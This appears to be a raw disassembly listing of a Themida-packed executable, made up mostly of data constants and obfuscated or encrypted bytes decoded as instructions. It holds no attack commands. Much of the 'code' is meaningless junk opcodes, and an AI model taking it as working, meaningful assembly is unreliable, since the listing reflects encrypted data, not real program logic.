dd 87DF8B32h, 0B0440658h, 6C449627h, 7CE369Fh, 166E1AB2h
dd 0C2FBDCE7h, 0EDCC0916h, 0FA98BA41h, 0ED7794E1h, 488AFEh
dd 12A10000h, 3F4CF8C5h, 467A2699h, 0CB0C2062h, 8C249B3Dh
dd 0C112813Ah, 270A50FCh, 0A351F1E8h, 5A3C13DBh, 0AC541BEAh
dd 62E8CE54h, 0D4FC51F2h, 23753A5h, 0A65CA235h, 30C48795h
dd 0A91544DCh, 0FEED01BCh, 142h, 0C0125900h, 1EEBB3FBh
dd 997F05BAh, 0AD51F1E7h, 0DFEC5685h, 0C318C4F7h, 7CB6121h
dd 0C28A62B4h, 0F1E7D6BCh, 93C2EA51h, 2B731B89h, 0E5030E25h
dd 0B05C8457h, 408833A3h, 0AD596473h, 0BE566596h, 7008C1B8h
dd 82543141h, 0B224F139h, 0D6055D09h, 942266Ch, 0C0A45806h
dd 4F6C6A82h, 53393F07h, 67580609h, 2300103Fh, 0E9C008B3h
dd 0BC7AA59Fh, 63CDFC92h, 73488E5Bh, 1E9D3944h, 49706572h
dd 7841909Dh, 96B498CCh, 9A46735Eh, 0E0F8AA42h, 4FFBBE13h
dd 7B5AA0F7h, 87A269ABh, 0B5440658h, 6501E7EDh, 8D935806h
dd 580664A7h, 0A5CD93BBh, 506B6B76h, 74A5C0FEh, 0E59F8D9h
dd 70000001h, 0B1F9A513h, 1DC9F2E4h, 0E8290F15h, 153D51F1h
dd 42484E7Dh, 57E50E0Bh, 0E5ED99C1h, 0D302BB18h, 5BAD0EC8h
dd 0B763587Eh, 0E38F2CAAh, 0BC4D0D71h, 0A7D6E9EFh, 2F813A9Ch
dd 0B5498A57h, 7376EBFBh, 0EB972F35h, 6DF86493h, 91F8D9E5h
dd 2Fh, 0F8A613A8h, 0E7E4AAB0h, 90B8D1F1h, 0C70FDCE4h
dd 8F27923Fh, 0E8361C60h, 96BAD1F1h, 2ED441F4h, 0E81AE0E6h
dd 0C6EE51F1h, 8F9674h, 13ED0000h, 0ABB1F9A5h, 57E510F0h
dd 0BDCA769Eh, 7850A219h, 0F0C4AAB0h, 0B0D85805h, 5B607681h
dd 0F28869AFh, 4CE45805h, 0F1987E84h, 0D4AC5805h, 5F1E8CEh
dd 3CD4FC58h, 659FBB0Dh, 35024A71h, 5069689Ch, 85B40CB8h
dd 832B9975h, 15E2353Bh, 0A8D05DFEh, 0E61DF4FCh, 0E6D23B6Ch
dd 0BE182352h, 0A6FC51FDh, 12BEFDD9h, 19398BBAh, 0C11576E4h
dd 932B9245h, 0F1E6B3FBh, 65587FCCh, 2C3261B9h, 1988D326h
dd 0E3E9C164h, 643C89FDh, 0FF51E911h, 0F9A51346h, 0B58ABB1h
dd 1E4657EAh, 4A716572h, 0E2FF2B02h, 1C22475Eh, 0B7691688h
dd 8AB951FCh, 82399D7Ah, 885A90D6h, 0BA1E1B64h, 3B9C6998h
dd 317ED682h, 0DCE716A5h, 0A279C1FAh, 0FF9D0C4Ch, 0C2D201C6h
dd 361C22EAh, 4A9BC686h, 0EEE8F322h, 0C11421CDh, 7F2B8E43h
dd 8EE38F27h, 4096AEECh, 0DEF90BC6h, 939B47DFh, 0C685A78Dh
dd 0FB93BB9Bh, 0FD952AAEh, 0B308CEABh, 0B79DA36Bh, 0CB9BC685h
dd 2CD8E5EEh, 0A30D3CD4h, 395h, 7DE4EC00h, 49F5CA12h, 75219A3Ch
dd 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh
dd 8733884Ah, 0B864597Ah, 578E6833h, 2C890000h, 391E6824h
dd 2C890000h, 0E0895024h, 405h, 4E88300h, 5C240487h, 52240489h
dd 46754B68h, 0E2815A5Ch, 674077B8h, 5190F281h, 8152425Bh
dd 4A89242Ch, 815D57D5h, 0D54A89C5h, 28685A57h, 89000010h
dd 4832424h, 68580424h, 6AB6h, 8F242C89h, 48B0840h, 0E1895124h
dd 4C181h, 0C1810000h, 4, 5C240C87h, 5D2434FFh, 4C481h
dd 74E90000h, 0D5FFF954h, 0FD25F7E0h, 2AB898F7h, 3061B29h
dd 0B1E0FFC5h, 0ED18A655h, 46E5541h, 504F5CE4h, 675D7D95h
dd 0EA36EF4Eh, 0B57318E4h, 5A0F5C02h, 0A2066662h, 46172BA5h
dd 817FA499h, 0D2557ECAh, 481281CEh, 407DA327h, 0E275C051h
dd 4B39A11Bh, 195298D4h, 843ECB23h, 0FE2B9660h, 3456A7BBh
dd 0C4029947h, 427B3091h, 0E971CA47h, 3Bh, 79BD8B60h, 8306140Ch
dd 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h
dd 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h
dd 0F000001h, 0FFFFD382h, 8BC361FFh, 0E59D8DC8h, 0B8061413h
dd 13A8h, 1B698589h, 0E80614h, 58000000h, 0D05h, 0E9038900h
dd 13A8h
dword_5BB658 dd 4E8h dup(0) ; DATA XREF: Themida_:00549FC4o
dword_5BC9F8 dd 2 dup(0) ; DATA XREF: Themida_:0054C040o
; ---------------------------------------------------------------------------
jmp short loc_5BCA0E
; ---------------------------------------------------------------------------
dw 5251h
dd 9BF313D8h, 2C165DEEh
db 50h, 0E1h
; ---------------------------------------------------------------------------
loc_5BCA0E: ; CODE XREF: Themida_:005BCA00j
jmp loc_5BD001
; ---------------------------------------------------------------------------
jmp loc_5BCFFA
; ---------------------------------------------------------------------------
dd 0DC2E914Bh, 97E9D4FFh, 51A318BAh, 6586174h, 0BD0FAE29h
dd 5B7C3484h, 9E331062h, 0ECECC91Bh, 32A481D3h, 0A32B3789h
dd 0D25B79Dh, 69D0CB58h, 4BF7C412h, 79259A3Eh, 0A854656Ch
dd 6CC3C9Bh, 0E819FF05h, 52D51F1h, 391F256Dh, 4D51F1E8h
dd 0D4E18D25h, 0E370FB03h, 6A378171h, 1FB74F6Ch, 4A6F6673h
dd 7A41919Eh, 7E646A32h, 9251F1F9h, 0C4D13B6Ah, 9E66AE0Fh
dd 309951C7h, 5DE3F943h, 51F2A177h, 0CA34638Bh, 0EAF050BEh
dd 51F2A104h, 1058F018h, 0FE2D9043h, 0DEEDF2F8h, 173F57EAh
dd 47745E6Bh, 19A632FFh, 0D6E6156Dh, 36E2D9F9h, 0D1F63AF0h
dd 0F89AFE4Dh, 0E52D8E44h, 6343BB18h, 0BF720224h, 0B20AB64Eh
dd 29977383h, 0AA663D85h, 366B872Eh, 0E141A49h, 73C936F5h
dd 7E8B375Fh, 3613655Ah, 8D51DA2h, 0ED96EDCEh, 380C46CAh
dd 0C50B75A4h, 2F7F1ACAh, 0B323F008h, 4E545C08h, 0CFE21B68h
dd 8DBC547Ch, 0F3E51F3Bh, 1EB784CCh, 6897EF9Bh, 620E7C58h
dd 6619141Ah, 1F47D5D5h, 263800D7h, 4228E6C9h, 8163A913h
dd 8CD5F6A0h, 2E8EEB6h, 16D5F6A0h, 89219839h, 514A085Ah
dd 7AE93A14h, 359734Ah, 6C0F5488h, 0ED73Dh, 2CF0000h, 0E43CE8D5h
dd 7011CEB5h, 68000003h, 823AC612h, 0F9125FE4h, 36E2D9FDh
dd 0F8FE46DEh, 51F2C012h, 0BA66FE26h, 0EA9625ADh, 5A92B0D4h
dd 17EF417Eh, 603D8740h, 4675E6EDh, 76229D3Bh, 0B5D78D28h
dd 46795F95h, 7D451CF4h, 0EFA11483h, 0CB071241h, 9E3744F0h
dd 0C41A6F1Bh, 93DBDEF7h, 0F275A78Dh, 6493BB51h, 0F9C17012h
dd 0F2760DF3h, 83389A51h, 0D2B97FD7h, 0E141A460h, 78A73F5Ch
dd 456656Dh, 0A968C9EEh, 0BA03D4D1h, 0D632A572h, 7622BAFFh
dd 2DFEF1Eh, 313EEACFh, 0A25B5AA0h, 0EAA5CA18h, 9A3D0A52h
dd 0BD02D623h, 208AB911h, 4FFBBE13h, 7C289542h, 2FC58527h
dd 0CB8119A4h, 0C0112B67h, 0C4C9A7F9h, 20000000h, 50FCAA13h
dd 0D6289343h, 9AE2D9F9h, 0E7E6CCD2h, 0D2FA51F1h, 0E79E848Ah
dd 8AB251F1h, 0C5ABF15Bh, 0A51F1E7h, 0C0122A68h, 5CCA9FBh
dd 0DBFB08B4h, 5ABE34E0h, 37CD0438h, 1B731F9Ah, 7D543183h
dd 262CF43Ch, 51F1E840h, 316750C3h, 0D298A508h, 4117BAAh
dd 0E93EEAD3h, 2EF60B47h, 0F2644228h, 0FF2E5651h, 8ADCDDF4h
dd 4B932AADh, 0B763587Eh, 2B11175Fh, 3F51F264h, 307EE817h
dd 0C9F2E492h, 0FAC3101Dh, 14361A4Eh, 6441695h, 0F68A1CF3h
dd 863EE66Bh, 0F01F9E39h, 151BF2E5h, 51F2A92Fh, 31831B43h
dd 8F3B8454h, 0F2A96649h, 7047CD51h, 7BB07C37h, 2A7CAB79h
dd 0BB04D468h, 8A2FA673h, 17924B5Bh, 2318E4Ah, 32DEE1F7h
dd 9A4DB325h, 1FCE47B6h, 0B022CE66h, 2EFB0E4Ch, 0DBE615AAh
dd 0F5C40DFDh, 759F149h, 0F2BF22F1h, 58677151h, 0EBC54ACh
dd 0FEED1658h, 0FFFF03A8h, 4A17BFFFh, 2A822E8Bh, 0DB83F1FBh
dd 10D28D93h, 588057E5h, 2A954310h, 8DF7267Eh, 13655680h
dd 876D733Bh, 195805F0h, 5F12D13h, 53194158h, 0F08F757Bh
dd 7BA35805h, 2DA9B4E3h, 0D5E28Eh, 0D5000DB9h, 0AD2B38E4h
dd 4E326612h, 0DFF7AD0Ch, 0CAF9C612h, 0B422DA78h, 0E3F2BF07h
dd 0A3D22AD6h, 0DC20B693h, 5618A057h, 6EB64EC9h, 4B7BEA97h
dd 2554D2F4h, 0F49275BBh, 50B45805h, 2FDCFA32h, 5F54329h
dd 0B801D058h, 0E032CAF2h, 0A433D303h, 0CDD58119h, 3EEAD300h
dd 3FADB7E6h, 4641478Fh, 0F25DF940h, 0B209B025h, 0D9E25CDh
dd 0E26695BFh, 9C9B72BAh, 23935D0Dh, 12EEFE2Dh, 0E7B4FCA4h
dd 0C921CDF0h, 718E949Ah, 0E36412E7h, 0D6020FBBh, 0E84D3339h
dd 0D9DF6435h, 6435E7F3h, 0F119DF07h, 0AE2A0759h, 691F6511h
dd 8D59F9FFh, 1E7EDB5h, 9379F9DFh, 0F9DEA78Dh, 0CD93BB79h
dd 662476A5h, 63B50ACEh, 0C26E4B86h, 0F09C23B5h, 900B4769h
dd 0D6E5FAD5h, 9E29h, 0C1124000h, 5CDAAFCh, 37A16EB6h
dd 6C495988h, 21FE5069h, 0F4BF48B6h, 9F4B7062h, 0ACBBF047h
dd 240153EBh, 0DBB80AB3h, 9471C3F6h, 4C297B44h, 2DF318Ah
dd 4C3238D5h, 6051F26Bh, 0B8F4A038h, 0F6FCC4CCh, 51F26B10h
dd 0C2CDFC24h, 0DCE1F214h, 0A1439844h, 308B4BE1h, 0F9DF2C84h
dd 46C21AC6h, 0AF0F6BEh, 9751F26Bh, 78D07C3Fh, 555B8AB2h
dd 0F26B694Fh, 3557D51h, 6B3F252Bh, 765351F2h, 5CB4605Dh
dd 4E5C48C4h, 70h, 736CB0A5h, 0CE51F1E8h, 6A806E2Ch, 0DA86359Dh
dd 126C5382h, 0ECB4FCC1h, 0F1E800E6h, 0BDEC1451h, 0B902D0ADh
dd 0AF4B8A67h, 0E28282E3h, 0D426BE1Bh, 1C1EE0F7h, 2D07E5AAh
dd 0D2AF0199h, 0E7D20305h, 0F94BE33Bh, 0B204B51Ch, 74BC03D5h
dd 7C36A59Dh, 3B9AB16Fh, 0E27AD27Eh, 10C6A3B3h, 0D7B59ABh
dd 0B3000000h, 35FFE5EBh, 0EB1351F2h, 7DE4D5BCh, 49F5CA12h
dd 75219A3Ch, 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h
dd 5703B61Fh, 8733884Ah, 0B864597Ah
db 33h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push 1777h
mov [esp], ebp
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
push 61B3E39h
mov ebp, [esp]
add esp, 4
push esp
mov ecx, [esp]
add esp, 4
push esi
mov esi, ebp
push esi
loc_5BCFB0: ; CODE XREF: Themida_:005BD00Aj
sub dword ptr [esp], 20942F81h
pop dword ptr [ecx+8]
add dword ptr [ecx+8], 20942F81h
pop esi
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp] ; CODE XREF: Themida_:005BD046j
pop esp
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5509FF
; ---------------------------------------------------------------------------
dd 9B32F482h, 0EB013348h
; ---------------------------------------------------------------------------
xor cl, ch
loc_5BCFFA: ; CODE XREF: Themida_:005BCA13j
mov eax, 61B438Ah
add eax, ebp ; CODE XREF: Themida_:005BD008j
loc_5BD001: ; CODE XREF: Themida_:loc_5BCA0Ej
mov edx, ebx
push ebp
in eax, dx
std
jnz short loc_5BD066 ; CODE XREF: Themida_:005BD06Ej
jp short near ptr loc_5BCFFF+1
jbe short loc_5BCFB0
imul esp, esi, 0FD49BC56h
inc esp
pop ds
and ebp, edi
mov edx, 0FBFD2136h
and [ecx], esp
std
pop ecx
stosd
and ebp, edi
dec ebx
loc_5BD023: ; CODE XREF: Themida_:005BD08Aj
outsb
and ebp, edi
and [ecx+21FD0EFDh], ecx
std
out dx, eax
inc ebp
loc_5BD030: ; CODE XREF: Themida_:005BD09Ej
and ebp, edi
ficomp dword ptr [ecx]
and ebp, edi
add [esi], esi
and ebp, edi
fisub word ptr [ecx]
and ebp, edi
xor ebp, [ebp+6E9CFD21h] ; CODE XREF: Themida_:005BD072j
; Themida_:005BD082j
and ebp, edi
jge short near ptr loc_5BCFD4+1
and ebp, edi
pop esi
cld
and ebp, edi
sbb al, [ebx+21h]
std
outsb
pop ds
and ebp, edi
popf
and eax, 2295358Ah
mov ds:714A76D6h, al ; CODE XREF: Themida_:005BD092j
; Themida_:005BD0A2j
ficomp word ptr [ebp+edi*4+4Bh] ; CODE XREF: Themida_:005BD06Cj
loc_5BD065: ; CODE XREF: Themida_:005BD076j
hlt
; ---------------------------------------------------------------------------
loc_5BD066: ; CODE XREF: Themida_:005BD006j
pop esp
loc_5BD067: ; CODE XREF: Themida_:005BD068j
pop edx
jp short loc_5BD067
jnz short near ptr loc_5BD092+1
jb short near ptr loc_5BD061+2
jnz short near ptr loc_5BD006+1 ; CODE XREF: Themida_:005BD070j
; Themida_:005BD078j ...
jns short near ptr loc_5BD06E+1
jz short near ptr loc_5BD03E+1 ; CODE XREF: Themida_:005BD074j
js short near ptr loc_5BD072+1
jnb short loc_5BD065
jge short near ptr loc_5BD06E+1
loc_5BD07A: ; CODE XREF: Themida_:loc_5BD07Cj
jz short near ptr loc_5BD06E+1
loc_5BD07C: ; CODE XREF: Themida_:loc_5BD096j
jnp short loc_5BD07A
loc_5BD07E: ; CODE XREF: Themida_:005BD080j
jz short loc_5BD0F8
jnp short loc_5BD07E
jnz short near ptr loc_5BD03E+2 ; CODE XREF: Themida_:005BD084j
jp short near ptr loc_5BD082+1
jnz short loc_5BD0E6 ; CODE XREF: Themida_:005BD088j
jp short near ptr loc_5BD086+1
jbe short loc_5BD023
sub [esi-59D6EB8Bh], ah ; CODE XREF: Themida_:loc_5BD09Aj
loc_5BD092: ; CODE XREF: Themida_:005BD06Aj
; Themida_:005BD094j
jnz short near ptr loc_5BD05C+3
jp short near ptr loc_5BD092+1
loc_5BD096: ; CODE XREF: Themida_:005BD098j
jnz short loc_5BD07C
jnp short loc_5BD096
loc_5BD09A: ; CODE XREF: Themida_:005BD09Cj
jz short near ptr loc_5BD08C+3
jnp short loc_5BD09A
jz short loc_5BD030
mov dl, 0F8h
jnz short near ptr loc_5BD05C+4
sbb dh, [eax-10h]
bound esi, [edx]
out 73h, al
cmpsb
dec dword ptr [esi+707C8C31h]
lock cdq
xor ah, dh
jnb short loc_5BD124
dec esi
xor ecx, ebp
jl short loc_5BD12E
lock jmp near ptr 35CFB6F6h ; CODE XREF: Themida_:loc_5BD0E6j
; ---------------------------------------------------------------------------
dd 453192FFh, 0DFF0707Ch, 1E73E63Dh, 0D031CAFFh, 4AF0707Ch
dd 7B73E63Dh
db 0FFh, 0C6h, 31h
; ---------------------------------------------------------------------------
loc_5BD0DF: ; CODE XREF: Themida_:005BD0EDj
bound edi, [eax+esi*2-10h]
icebp
cmp al, 0E6h
loc_5BD0E6: ; CODE XREF: Themida_:loc_5BD086j
jnb short near ptr loc_5BD0BE+1
inc edx
xor [esp+edi*2], esi
jo short loc_5BD0DF
enter 0FFFFE63Ch, 73h ; CODE XREF: Themida_:005BD0FEj
inc edx
; ---------------------------------------------------------------------------
dd 0FE31BEFFh
; ---------------------------------------------------------------------------
loc_5BD0F8: ; CODE XREF: Themida_:loc_5BD07Ej
jl short near ptr loc_5BD168+2
lock xchg edi, [esi]
jnb short near ptr loc_5BD0EF+1
; ---------------------------------------------------------------------------
dd 0A731BAFFh, 8EF0707Ch, 0A673E63Ch, 8C31AEFFh, 57F0707Ch
dd 6C73E63Ch, 0E931B6FFh, 0C2F0707Ch, 3573E63Ch
; ---------------------------------------------------------------------------
loc_5BD124: ; CODE XREF: Themida_:005BD0B6j
push dword ptr [edx+707C4531h]
; ---------------------------------------------------------------------------
dw 0FFF0h
; ---------------------------------------------------------------------------
cmp al, 0E6h
loc_5BD12E: ; CODE XREF: Themida_:005BD0BCj
jnb short loc_5BD14E
jmp fword ptr [esi+707CD031h]
; ---------------------------------------------------------------------------
dw 0EFF0h
dd 7B73E63Dh, 62319EFFh, 95F0707Ch, 0D773E63Dh, 34319AFFh
; ---------------------------------------------------------------------------
jl short loc_5BD1BE
loc_5BD14E: ; CODE XREF: Themida_:loc_5BD12Ej
lock fstp tbyte ptr ds:0FF4273E6h
xchg eax, esi
xor esi, edi
jl short loc_5BD1CA
db 67h ; CODE XREF: Themida_:005BD1C1j
lock cmp eax, 0FFF073E6h
stosb
loc_5BD162: ; CODE XREF: Themida_:005BD1B4j
xor [edi-6D0F8F84h], esp
loc_5BD168: ; CODE XREF: Themida_:loc_5BD0F8j
cmp eax, 0FFA673E6h
cmpsb
xor [esp+edi*2+32ACF070h], ecx
out 73h, al
insb
jmp dword ptr [edx+767CE931h]
; ---------------------------------------------------------------------------
dw 14F0h
dd 3573E95Bh, 453151FFh, 0AF0767Ch, 1E73E956h, 0D0314DFFh
db 7Ch, 9Ch, 0B6h
; ---------------------------------------------------------------------------
loc_5BD197: ; CODE XREF: Themida_:005BD1CDj
mov al, 0F1h
adc [ebp+75FD7AF2h], ebx
and edi, ebx
pop ss
mov ch, 0F9h
popa
sti
and eax, 0FDF53FD5h
lodsd
sar dword ptr [ecx+3422916Eh], 1
mov bh, 0CFh
jp short loc_5BD162
and esi, [edi+1A20AD29h] ; CODE XREF: Themida_:005BD1BCj
jp short near ptr loc_5BD1B6+5
loc_5BD1BE: ; CODE XREF: Themida_:005BD14Cj
jnz short loc_5BD239
daa
jl short near ptr loc_5BD15A+1
pop ebp
aas
out 73h, al ; CODE XREF: Themida_:005BD224j
; ---------------------------------------------------------------------------
byte_5BD1C7 db 0A0h ; CODE XREF: Themida_:005BD22Ej
; ---------------------------------------------------------------------------
dec edi
loc_5BD1CA: ; CODE XREF: Themida_:005BD158j
xor [esp+edi*2], esi
jge short loc_5BD197
movsd
db 3Eh
out 73h, al
iret
; ---------------------------------------------------------------------------
dd 0E4C5B409h, 0F9B54B75h, 863589BAh, 0A7314DEFh, 96FEBD7Ch
dd 2F7A452Bh, 28AFD7Ah, 0CD6EB9CAh, 0A14648F7h, 0C6F8FB61h
dd 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 916EB9CAh
dd 8F4648F7h, 0D1F8FB61h, 228A50FCh
; ---------------------------------------------------------------------------
and ebx, [edi]
loc_5BD21E: ; CODE XREF: Themida_:005BD242j
mov esp, 31CFF787h
cmpsd
jl short near ptr loc_5BD1C5+1
sub eax, 2CA32005h
in al, dx
xchg eax, edx
insd
ja short near ptr byte_5BD1C7
jp short loc_5BD27F
int 0C1h ; used by BASIC while in interpreter
jns short loc_5BD28D
mov dh, [eax-2Ah]
loc_5BD239: ; CODE XREF: Themida_:loc_5BD1BEj
mov ecx, 3ED1F46Eh
popf
loc_5BD23F: ; CODE XREF: Themida_:005BD240j
pop es
js short loc_5BD23F
jnz short loc_5BD21E
retn 0CD9Bh
; ---------------------------------------------------------------------------
db 54h
dd 0D0DE9B59h, 8C3151EFh, 8DE9B7Ch, 0E5779592h, 0F3360B7Ah
dd 866E8872h, 0A73151EFh, 54C54D7Ch, 0BA8AAD79h, 916EB9D6h
dd 2BF69B20h, 277E9B7Eh, 1AB6561Ch
; ---------------------------------------------------------------------------
imul edi, 75h
loc_5BD27F: ; CODE XREF: Themida_:005BD230j
jns short near ptr loc_5BD2A9+1
adc eax, 0FD7ABE4Eh
das
mov al, gs:59A57B89h
loc_5BD28D: ; CODE XREF: Themida_:005BD234j
cmp eax, 0DF709491h
cmc
pop es
mov edx, 0D183FE4Dh
db 3Eh
popf
add [ebx-3], bh
jnz short loc_5BD2CA
xchg eax, edx
loope loc_5BD31A
mov esp, 844EA77Ah
push cs
loc_5BD2A9: ; CODE XREF: Themida_:loc_5BD27Fj
adc al, ch
dec ecx
rcl byte ptr [esi], 1
test eax, 75FCA77Fh ; CODE XREF: Themida_:005BD2D0j
retf
; ---------------------------------------------------------------------------
dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h
db 0A0h, 89h
; ---------------------------------------------------------------------------
loc_5BD2CA: ; CODE XREF: Themida_:005BD29Ej
push 913D59A5h
xchg eax, esp
jo short near ptr loc_5BD2AE+3
cmc
pop es
mov edx, 85B5FF4Dh
push 0FB61B6D9h
das
pop ds
pop edi
std
push ecx
fidiv dword ptr [ecx+3Fh]
adc esi, ebp
mov ecx, 9285E94Dh
mov ebp, 4D7A9774h
hlt
; ---------------------------------------------------------------------------
db 61h
dd 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh
dd 0C7DF61CAh, 9775FC5Bh, 4A13451Ch
; ---------------------------------------------------------------------------
sbb al, 56h
loc_5BD316: ; CODE XREF: Themida_:005BD326j
popf
loc_5BD317: ; CODE XREF: Themida_:005BD318j
inc ebx
jnp short loc_5BD317
loc_5BD31A: ; CODE XREF: Themida_:005BD2A1j
jnz short loc_5BD336
dec esp
loc_5BD31D: ; CODE XREF: Themida_:loc_5BD336j
std
jnz short loc_5BD399
sbb al, 56h
popf
mov dh, 7Bh
std
jnz short loc_5BD316
out 57h, eax
mov dh, 9Fh
out 57h, al
popf
imul edi, [edx-3], 0FCF32375h
loc_5BD336: ; CODE XREF: Themida_:loc_5BD31Aj
jnz short loc_5BD31D
; ---------------------------------------------------------------------------
dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh
dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 62314DEFh
dd 0CBC0707Ch, 5D73E63Eh, 2C7F518Ah, 3BE002D0h, 873E63Eh
dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h
dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h
db 85h
; ---------------------------------------------------------------------------
loc_5BD399: ; CODE XREF: Themida_:005BD31Ej
wait
int 0FDh
dec ebx
wait
ficom word ptr [ecx+438A036Bh]
retf 0DFA7h
; ---------------------------------------------------------------------------
db 0EEh
; ---------------------------------------------------------------------------
and dl, [edi-4Ah]
lahf
xchg eax, edx
push edi
and bh, [edx+edx*4]
or al, 75h
retf
; ---------------------------------------------------------------------------
dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h
dd 252D4D7Ah, 69B65779h, 0D031D4FFh, 0CCC87D7Ch, 0F373E63Eh
dd 0FCF8EC0Fh, 0BA6EB9E1h, 5C61152Ah, 1B9DFD7Ah, 2775FD78h
dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0A731D4F7h
dd 77C87D7Ch, 2F73E63Eh, 12F8F10Fh, 0CD6EB9E1h, 0E4DE152Ah
dd 4AB6FD7Ah, 7975FD7Eh, 0F8C56885h, 0C3F8FB61h, 296EB582h
dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h
dd 357115F9h, 0CB8A3E78h, 296EB9D6h, 96514ACEh, 74C1FF0Eh
dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h
dd 25B5F179h, 68B65778h, 0D03151EFh, 0EA917D7Ch, 42F539FAh
dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h
dd 0CB7345B9h, 708AFD7Ah, 0F46EB9CAh, 3DFA60F7h, 0A0F8FB61h
dd 4ECD3E39h, 0D075FD7Ah, 8C314DEFh, 0CEB57E7Ch, 1A8935F1h
dd 0E93151EFh, 8E97577Ch, 43BE15B9h, 1DFF0285h, 5A72D97Bh
dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h
dd 0BC9D9D86h, 475FD7Ah, 667D17FBh, 0EAFCFB61h, 60CF7D86h
dd 0E573E63Eh, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 45314DE8h
dd 0ADFCBD7Ch, 916EB9CEh, 79F835F1h, 0E36EB4A6h, 0B6D96F85h
dd 7FFDFB61h, 4801F3Ch, 5E75FD6Dh, 6BC17F79h, 1A35FB61h
dd 0D03C2DE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 0F8C17779h
dd 0ECF8FB61h, 296EB4C4h, 2F2B5989h, 0CB75FD72h, 0A1C56F85h
dd 0AF6FB61h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh
dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h
dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh
dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h
dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah
dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah
dd 0D03C1290h, 5DCF707Ch, 7973E63Eh, 71CCF50Fh, 4F75FD7Ah
dd 9CBC9CDEh, 0A226FD7Eh, 8C3145E7h, 0D3497D7Ch, 0BE71887Bh
dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 655D17FBh
dd 25F8FB61h, 0CD6EB9C2h, 5C7D80F1h, 0F275FD72h, 0B0145989h
dd 0DC75F9B8h, 1ACD40F7h, 0EF46FB61h, 9775F5C3h, 0AADF0E7Ah
dd 58F89DB9h, 0F46EB9C2h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh
dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 0A1CD40F7h, 0F3CDFB61h
dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 0D3B078F7h
dd 0D08AFB61h, 2AE9CA8Bh, 0C7000000h, 2404h, 0E80000h
dd 5D000000h, 4AA8ED81h, 448B061Bh, 85890424h, 6143219h
dd 0B8h, 798D8D00h, 0FF06144Dh, 6754B8E1h, 11E80000h, 45000000h
dd 868FE50h, 0BEDF923Fh, 0A7B98E06h, 13933055h, 5B1CE280h
dd 0BCB96660h, 0D2BF0F7Dh, 0D7C38161h, 0F00005Ch, 11BED2B7h
dd 81000017h
; ---------------------------------------------------------------------------
loc_5BD6DC: ; DATA XREF: Themida_:0054C0E0o
fld dword ptr [esi+8]
adc al, 0Dh
; START OF FUNCTION CHUNK FOR sub_5BD701
loc_5BD6E1: ; CODE XREF: sub_5BD701+39j
push dword ptr [ebx]
pop eax
sub dx, 0B643h
sub eax, 660E817Eh
add eax, 884A754h
call sub_5BD701
mov byte ptr [eax-7B1B4D6Fh], 0DBh
; END OF FUNCTION CHUNK FOR sub_5BD701
; =============== S U B R O U T I N E =======================================
sub_5BD701 proc near ; CODE XREF: sub_5BD701-Cp
; FUNCTION CHUNK AT 005BD6E1 SIZE 00000020 BYTES
push esi
add edx, 201087BAh
pop ecx
pop ecx
add eax, 75407DC8h
xor dh, 0Dh
push eax
stc
pop dword ptr [ebx]
mov dx, cx
sub ebx, 7DE03F20h
xor edx, 46831CABh
add ebx, 7DE03F1Ch
pusha
mov di, 3296h
mov ebx, esi
popa
sub esi, 1
jnz loc_5BD6E1
or edi, 97184E3h
jmp loc_5BD779
; ---------------------------------------------------------------------------
db 0Bh
dd 21EEEFh, 0Ah dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5BD779: ; CODE XREF: sub_5BD701+45j
jmp loc_5BDD5D
; ---------------------------------------------------------------------------
dw 2BB1h
dd 6E654294h, 0B220FD4Fh, 0FBDAB709h, 488F6CBEh, 0CEEA2375h
dd 76C8F5E2h, 2F813899h, 0E7398652h, 9DEFCC0Ah, 1D030991h
dd 31580D33h, 0C412CF36h, 0E1E7AFF7h, 51F1E7FBh, 0E7A1878Dh
